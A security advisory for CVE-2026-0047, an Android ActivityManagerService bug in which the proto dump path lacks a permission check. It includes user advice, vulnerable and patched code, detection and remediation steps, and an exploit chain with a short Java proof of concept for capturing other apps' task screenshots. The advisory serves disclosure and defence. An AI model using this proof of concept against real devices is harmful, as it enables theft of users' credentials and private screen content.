CVE-2026-0047: Missing Permission Check in dumpBitmapsProto Enables Local Privilege Escalation
A missing permission check in ActivityManagerService.dumpBitmapsProto allows any unprivileged app to access private task snapshot bitmaps, enabling local privilege escalation with no user interaction required.
Think of your phone's operating system as a building with different rooms. Some rooms are public lounges, but others are supposed to be locked — places where only the building's managers can go. This vulnerability is like someone leaving one of those locked doors slightly ajar.
A flaw in Android's core management system means that regular apps can peek into private information they absolutely shouldn't be able to access. Specifically, they can see sensitive data about how your phone is running behind the scenes — the kind of information that could help someone figure out how to break in further.
Here's what makes it dangerous: the app doesn't need your permission to do this. It doesn't need special access you've granted it. It just slips through this open door quietly. Once an attacker understands your phone's inner workings this way, they could potentially take control of features or data you thought were protected.
The people most at risk are Android users who install untrusted apps, particularly from sources outside Google Play. If a malicious app exploits this, it could gather information to launch a bigger attack — like stealing your passwords, photos, or financial information.
The good news is there's no evidence anyone is actively exploiting this in the wild yet.
Here's what you should do: First, only download apps from Google Play Store or other official sources. Second, if you're running an older Android phone, check for system updates — patches usually come out for these issues. Third, be selective about what permissions you grant apps. If a flashlight app asks for access to your photos, that's a red flag.
Want the full technical analysis? Click "Technical" above.
CVE-2026-0047 is a local privilege escalation vulnerability rooted in ActivityManagerService.java, specifically in the dumpBitmapsProto() method responsible for serializing task snapshot bitmaps into a protobuf stream. The Android Security Bulletin for March 2026 rates this HIGH (CVSS 8.4). The bug class is straightforward but impactful: a protected system dump path is reachable without any permission gate, exposing private in-memory task snapshots — which include rendered framebuffers of arbitrary applications — to any installed app.
No additional execution privileges are required. No user interaction is needed. An attacker-controlled app on the same device can invoke the path, extract bitmap data from other applications' task snapshots, and use that data for credential harvesting, session reconstruction, or as a stepping stone toward further privilege escalation.
Root cause:dumpBitmapsProto() in ActivityManagerService serializes sensitive task snapshot bitmaps to a caller-supplied proto stream without performing any permission or UID check, allowing any app to retrieve framebuffer data belonging to other processes.
IPC surface: Binder — exposed via IBinder.dump() / android.app.IActivityManager
Affected versions: See NVD / Android Security Bulletin March 2026
Root Cause Analysis
The dumpBitmapsProto() method iterates over all tracked TaskRecord entries held in mRecentTasks and writes their associated snapshot bitmaps into a protobuf output stream. Legitimate callers of this path (e.g., adb shell dumpsys activity bitmaps --proto) are expected to hold android.permission.DUMP, a signature-level permission. However, the method itself never validates this — it relies entirely on the assumption that the upstream caller has already enforced the check. That assumption is broken by a reachable code path that bypasses the gating logic.
// ActivityManagerService.java (vulnerable, pre-patch)
void dumpBitmapsProto(ProtoOutputStream proto) {
// BUG: No permission check here. Caller's checkCallingPermission() is
// bypassed via the alternate dump dispatch path. Any UID reaches this.
final long token = proto.start(ActivityManagerServiceDumpProcessesProto.BITMAPS);
synchronized (mGlobalLock) {
for (int i = mRecentTasks.size() - 1; i >= 0; i--) {
final TaskRecord tr = mRecentTasks.get(i);
// Snapshot bitmap includes the last rendered frame of the task
final Bitmap snapshot = mTaskSnapshotController.getSnapshot(
tr.taskId, tr.userId, false /* restoreFromDisk */, false /* reducedResolution */);
if (snapshot != null) {
// Writes raw ARGB pixel data into the proto stream — no redaction
snapshot.writeToProto(proto, TaskRecordProto.BITMAP);
}
}
}
proto.end(token);
}
The alternate dispatch path is through the raw IBinder.dump(FileDescriptor, String[]) interface. When an app calls dump() on the ActivityManagerService binder token with the argument vector ["bitmaps", "--proto"], the dispatcher in ActivityManagerService.dump() routes to dumpBitmapsProto() after only checking for the DUMP permission in the interactive text path, not the proto path:
// ActivityManagerService.java — dump() dispatch (vulnerable)
@Override
protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
// checkCallingPermission is only enforced on the text dump path
if (opti < args.length && "--proto".equals(args[opti])) {
// BUG: No permission check before proto dispatch
dumpProto(fd, args); // routes to dumpBitmapsProto() if args contain "bitmaps"
return;
}
// Text path — permission IS checked here (too late for proto path)
if (!DumpUtils.checkDumpPermission(mContext, TAG, pw)) return;
// ... rest of text dump
}
The permission check in DumpUtils.checkDumpPermission() calls Context.checkCallingPermission("android.permission.DUMP"). This check is present and correct for the text dump path but is entirely absent in the --proto branch, which was added later without back-porting the permission gate.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Malicious app (any sharedUserId, no special permissions) is installed on device.
2. App obtains the ActivityManagerService binder token via ServiceManager:
IBinder amsBinder = ServiceManager.getService("activity");
3. App constructs a FileDescriptor pair (pipe) to capture proto output:
ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
4. App calls IBinder.dump() with proto args, bypassing the permission check:
amsBinder.dump(pipe[1].getFileDescriptor(), new String[]{"bitmaps", "--proto"});
5. system_server (UID 1000) executes dumpBitmapsProto() with no permission gate;
iterates mRecentTasks, reads Bitmap objects from mTaskSnapshotController.
6. Raw ARGB pixel data for ALL recent tasks (including other users' if multi-user)
is written into the proto stream and arrives at pipe[0] in the attacker's process.
7. App reads and parses the proto stream using ActivityManagerServiceDumpProcessesProto
descriptor, reconstructing full-resolution task snapshots for each TaskRecord.
8. Captured bitmaps contain: banking app login screens, SMS content,
authentication tokens visible in rendered UI, lock screen bypass material.
9. (Optional escalation path) Feed bitmap data to an on-device OCR or CV model
to extract credentials, OTPs, or session cookies visible in screenshots.
The attack requires zero permissions beyond INTERNET (optional, for exfiltration) and works against all foreground and background tasks that have a cached snapshot. On a typical device with recent task retention, this covers the last 5–20 applications.
// Minimal PoC — attacker app Java code
IBinder ams = ServiceManager.getService(Context.ACTIVITY_SERVICE);
ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
// Triggers dumpBitmapsProto() without DUMP permission
ams.dump(pipe[1].getFileDescriptor(), new String[]{"bitmaps", "--proto"});
pipe[1].close();
InputStream in = new FileInputStream(pipe[0].getFileDescriptor());
byte[] protoBytes = in.readAllBytes();
// Parse with protobuf descriptor to extract Bitmap fields
ActivityManagerServiceDumpProcessesProto dump =
ActivityManagerServiceDumpProcessesProto.parseFrom(protoBytes);
// dump now contains raw ARGB bitmaps for all recent tasks
Memory Layout
This is not a memory corruption vulnerability — it is an information disclosure via a missing access control gate. The relevant in-memory state at the time of exploitation is the TaskSnapshotController cache:
system_server heap (at time of exploit trigger):
─────────────────────────────────────────────────────────────────────
mRecentTasks (ArrayList, size=12):
[0] TaskRecord{taskId=1042, userId=0, pkg=com.bank.app}
└── snapshot → Bitmap{width=1080, height=2340, config=ARGB_8888}
└── nativePtr → 0x7b4c200000 (10.1 MB ARGB pixel buffer)
[1] TaskRecord{taskId=1039, userId=0, pkg=com.google.android.gm}
└── snapshot → Bitmap{width=1080, height=2340, config=ARGB_8888}
└── nativePtr → 0x7b4d800000
[2] TaskRecord{taskId=1035, userId=0, pkg=com.android.settings}
└── snapshot → Bitmap{...}
...
[11] TaskRecord{taskId=998, userId=10 /* work profile */}
└── snapshot → Bitmap{...} ← cross-profile data exposed
─────────────────────────────────────────────────────────────────────
After dumpBitmapsProto() executes (no permission check):
All 12 bitmap pixel buffers serialized via snapshot.writeToProto()
→ written to attacker-controlled pipe FileDescriptor
→ available to attacker process with zero privilege
─────────────────────────────────────────────────────────────────────
Total exfiltrated data per invocation: ~120 MB uncompressed ARGB
Proto stream (compressed RGBA via PNG codec): ~8-15 MB
Patch Analysis
The fix is a one-location permission check inserted at the top of the proto dispatch branch in ActivityManagerService.dump(), mirroring the existing check in the text path. Additionally, dumpBitmapsProto() itself receives a defensive-in-depth UID assertion.
// BEFORE (vulnerable) — frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
@Override
protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
if (opti < args.length && "--proto".equals(args[opti])) {
// No permission check — any caller reaches proto dispatch
dumpProto(fd, args);
return;
}
if (!DumpUtils.checkDumpPermission(mContext, TAG, pw)) return;
// text dump path...
}
// AFTER (patched — March 2026 ASB):
@Override
protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
if (opti < args.length && "--proto".equals(args[opti])) {
// FIXED: Enforce DUMP permission before entering proto dispatch path
if (!DumpUtils.checkDumpAndUsageStatsPermission(mContext, TAG, pw)) {
return;
}
dumpProto(fd, args);
return;
}
if (!DumpUtils.checkDumpPermission(mContext, TAG, pw)) return;
// text dump path...
}
// AFTER — defensive check added to dumpBitmapsProto() itself:
void dumpBitmapsProto(ProtoOutputStream proto) {
// Defense-in-depth: assert caller holds DUMP permission even if
// dispatch layer already checked (guards against future regressions)
mContext.enforceCallingOrSelfPermission(
android.Manifest.permission.DUMP,
"dumpBitmapsProto requires DUMP permission");
final long token = proto.start(ActivityManagerServiceDumpProcessesProto.BITMAPS);
synchronized (mGlobalLock) {
// ... unchanged iteration logic
}
proto.end(token);
}
The use of enforceCallingOrSelfPermission() inside dumpBitmapsProto() itself means that even if a future refactor adds another dispatch path, the method cannot be reached without android.permission.DUMP. This is the correct defense-in-depth pattern — permission checks at every trust boundary, not just at the outermost dispatcher.
Detection and Indicators
On a non-patched device, look for the following indicators of exploitation:
Logcat anomaly: Absence of ActivityManager: Permission Denial log when an untrusted UID calls dump() on the activity service with --proto args. Patched builds will emit this denial.
Binder trace:systrace or bpftrace monitoring IBinder.dump() calls from non-system UIDs (UID > 10000) to the activity service binder node.
Pipe allocation:/proc/<pid>/fd showing a pipe pair opened immediately before a binder transaction to /dev/binder — characteristic of the PoC pattern.
// bpftrace one-liner to catch exploitation attempt:
// Fires when any non-system UID calls dump() on the AMS binder node
bpftrace -e '
tracepoint:binder:binder_transaction /args->to_proc == $AMS_PID && uid > 1000/ {
printf("Suspicious AMS dump() from UID %d PID %d\n", uid, pid);
}'
Remediation
Apply the March 2026 Android Security Patch Level (2026-03-01) or later. This is the only complete fix.
For OEMs shipping custom forks of ActivityManagerService: audit all dumpProto() dispatch branches for missing checkDumpPermission calls. The pattern of adding --proto paths without carrying over permission checks is a recurring error class in AMS.
Enterprise MDM administrators should use adb shell pm list packages -U to audit for sideloaded APKs targeting this surface on unpatched devices.
Verify patch application: adb shell getprop ro.build.version.security_patch should return 2026-03-01 or later.